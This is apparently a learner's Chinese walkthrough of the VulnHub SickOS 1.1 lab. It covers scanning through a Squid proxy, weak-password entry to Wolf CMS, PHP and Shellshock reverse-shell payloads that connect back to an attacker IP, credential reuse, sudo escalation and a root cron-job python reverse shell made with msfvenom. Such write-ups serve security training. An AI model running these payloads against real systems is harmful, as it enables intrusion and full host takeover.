靶场考察知识
shellshock漏洞
shellshock即unix系统下的bash shell的一个漏洞, Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞, 向环境变量值内的函数定义后添加多余的字符串会触发此漏洞, 攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统
bash使用的环境变量是通过函数名称来调用的,以"(){"开头通过环境变量来定义,而在处理这样的恶意的函数环境变量时,并没有以函数结尾 “}” 为结束,而是执行其后的恶意shell命令
执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理
Linux计划任务提权
重点查看以下计划任务文件是否有可提权的操作
- /etc/crontab
- /etc/cron.d/*
- /etc/cron.daily/*
- /etc/cron.hourly/*
- /etc/cron.monthly/*
- /etc/cron.weekly/
数据库配置文件泄露
通常在网站的根目录或者config目录会保存着数据库配置文件, 此文件存有数据库用户的相关信息, 可能会对后续用户的登录爆破起到至关重要的作用
靶场搭建
SickOS靶场的下载地址: https://download.vulnhub.com/sickos/sick0s1.1.7z
直接在虚拟机–文件功能–打开就行了。
渗透测试
信息收集
主机发现
查看kaliIP ifconfig
靶机设置的桥接模式,所以直接扫C段
扫描C段存活主机:nmap -sn 192.168.0.0/24
nmap -sP 192.168.0.0/24
也可以使用arp-scan探测网段内目标
arp-scan -l
可以确定IP192.168.0.109为靶机IP
端口扫描
nmap -sV -n -p- 192.168.0.109
nmap -sS -A IP
分别使用TCP和UDP扫描目标主机的开放端口
nmap -sV --min-rate 10000 -p- IP 默认使用TCP扫描
nmap -sU -p22,3128,8080 IP
由上图扫描结果得知以下信息
开放端口:22,3128,8080
目标主机系统为Ubuntu Linux 3128端口为squid代理服务
使用nmap自带的web漏扫脚本进行扫描, 没有发现漏洞
nmap --script=vuln -p22,3128,8080 192.168.0.109
目录爆破
常规思路是直接访问3128端口 和8080端口 结果是无法访问。因此需要设置代理访问。
dirb扫描
因为3128开放了代理服务 可以借助他的代理来访问可用dirb扫描一些web目录
dirb http://192.168.0.109 -p http://192.168.0.109:3128
nikto扫描
nikto -host htpp://192.168.0.109:3128
dirsearch扫描
python3 dirsearch.py -u http://192.168.0.109 -phttp://192.168.0.109:3128
扫描结果如下所示
由上面三种扫描结果可知存在 robots.txt文件 因为无法直接访问因此在浏览器上设置代理。在foxyproxy上设置代理即可。
Wolf CMS介绍
Wolf CMS是一种内容管理系统,并且免费。其由PHP编码语言写成。Wolf CMS 0.8.2以及之前版本中存在文件上传漏洞。攻击者可以滥用上传特性来上传恶意的PHP文件到程序中,最终导致任意远程代码执行。
上述可知网站CMS为wolfcms,访问看看有啥东西。
网上搜索相关CMS漏洞复现文章 存在文件上传漏洞
https://cloud.tencent.com/developer/article/1047292
或是kali搜索wolfcms相关漏洞POC
searchsploit Wolf CMS
locate 38000
cat /usr/share/exploitdb/exploits/php/webapps/38000.txt
发现后台路径
/wolfcms/?/admin/plugin/file_manager/browse/
漏洞挖掘
尝试访问 弱口令 admin admin登录后台
写入文件反弹SHELL
熟悉各个功能之后发现 在Atricles的编辑页面处添加上一行php反弹shell代码然后保存
设置kaliIP和端口
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.110/4488 0>&1'");?>
kali监听本机的4444端口, 然后点击Atricles页面触发反弹shell代码
nc -lvp 4488
http://192.168.0.109/wolfcms/?articles.html 访问含有反弹shell代码的页面
拿到shell
上传文件反弹shell
可以发现还有其他功能点有写入,上传文件的权限,可以上传一句话马,然后蚁剑开启代理连接。
使用kali自带的脚本文件反弹shell
cd /usr/share/webshells/
cd php
cat php-reverse-shell.php
cat 文件之后 标记处设置你的kaliIP 和端口
然后将文件上传到靶机上
kali上开启监听 访问shell地址:http://192.168.0.109/wolfcms/public/shell.php 触发
nc -lvp 1234
返回shell
查看有哪些用户 发现root 和sickos
cat /etc/passwd | grep /bin/bash
shellshock 漏洞反弹shell
尝试使用ShellShock漏洞的exp, 执行whoami命令, 页面输出命令的执行结果
curl --proxy http://192.168.0.109:3128 -H "User-Agent:() { :;};echo;/usr/bin/whoami" http://192.168.0.109/cgi-bin/status
kali监听端口 利用ShellShock漏洞远程执行反弹shell命令
curl --proxy http://192.168.0.109:3128 -H "User-Agent:() { :;};/bin/bash -i >& /dev/tcp/192.168.0.110/4455 0>&1" http://192.168.0.109/cgi-bin/status
也可以使用kali自带 脚本shellshock
searchsploit Shellshock
locate linux/remote/34900.py
cp /usr/share/exploitdb/exploits/linux/remote/34900.py . 后面有个点 复制到当前目录
python2 34900.py payload=reverse rhost=192.168.0.109 lhost=192.168.0.110 lport=5545 proxy=192.168.0.109:3128 pages=/cgi-bin/status/
还可以使用wget反弹shell
主机渗透
获取主机基本信息
收集目标主机的基本信息,当前shell的用户名为www-data 该用户没有root权限
www-data用户通常用于前后端的数据交互
发现网站配置文件
发现数据库账号密码
尝试登录root权限的用户
查看etc/passwd文件, 像这里root、backup、sickos这些拥有bash环境的用户都要尝试使用上述的密码进行登录, 毕竟有时候网站的管理员会将数据库的密码和系统主机的密码设置成相同的
发现只有sickos用户登录成功 输入密码john@123
输入sudo -l, 查看当前用户权限为(ALL; ALL;ALL), 即拥有root用户权限
获取flag
执行sudo /bin/bash提权, 随后获取flag
计划任务提权
查看目标主机是否安装了python: dpkg -l | grep “python”, 可以发现目标主机只安装了python2
查看/etc/crontab, 没有可利用的计划任务
cat /etc/crontab
查看/etc/cron.d/ 目录下的文件 发现automate文件有个计划任务,该计划任务内容是每分钟以root用户用python执行/var/www/connect.py 下的文件 ,这样就可以修改py文件的内容,执行py反弹shell,获取root用户的shell。
msf生成python反弹shell代码,然后复制双引号内代码 vim /var/www/connect.py
msfvenom -p cmd/unix/reverse_python lhost=192.168.0.110 lport=1587 -f raw
shell环境下vim有点变态 执行vim编辑之后
输入e
然后输入o,粘贴代码进去,按esc键加 : 冒号 加wq之后按回车键即可
然后开启监听,一分钟之后返回shell root权限。
总结
第一次打vulnhub靶机还是花了很长时间,也参考了其他师傅的优秀文章。收录了其他师傅打靶的攻击思路,文章中用了多种方法多个工具进行信息收集,反弹shell等思路。
对kali里面工具的不熟悉,反弹shell相关的知识需要加强,以及计划任务提权的学习。wolf cms漏洞的利用。
参考链接
https://www.cnblogs.com/henry666/p/16954510.html
https://zhuanlan.zhihu.com/p/524694247
https://www.runoob.com/w3cnote/linux-crontab-tasks.html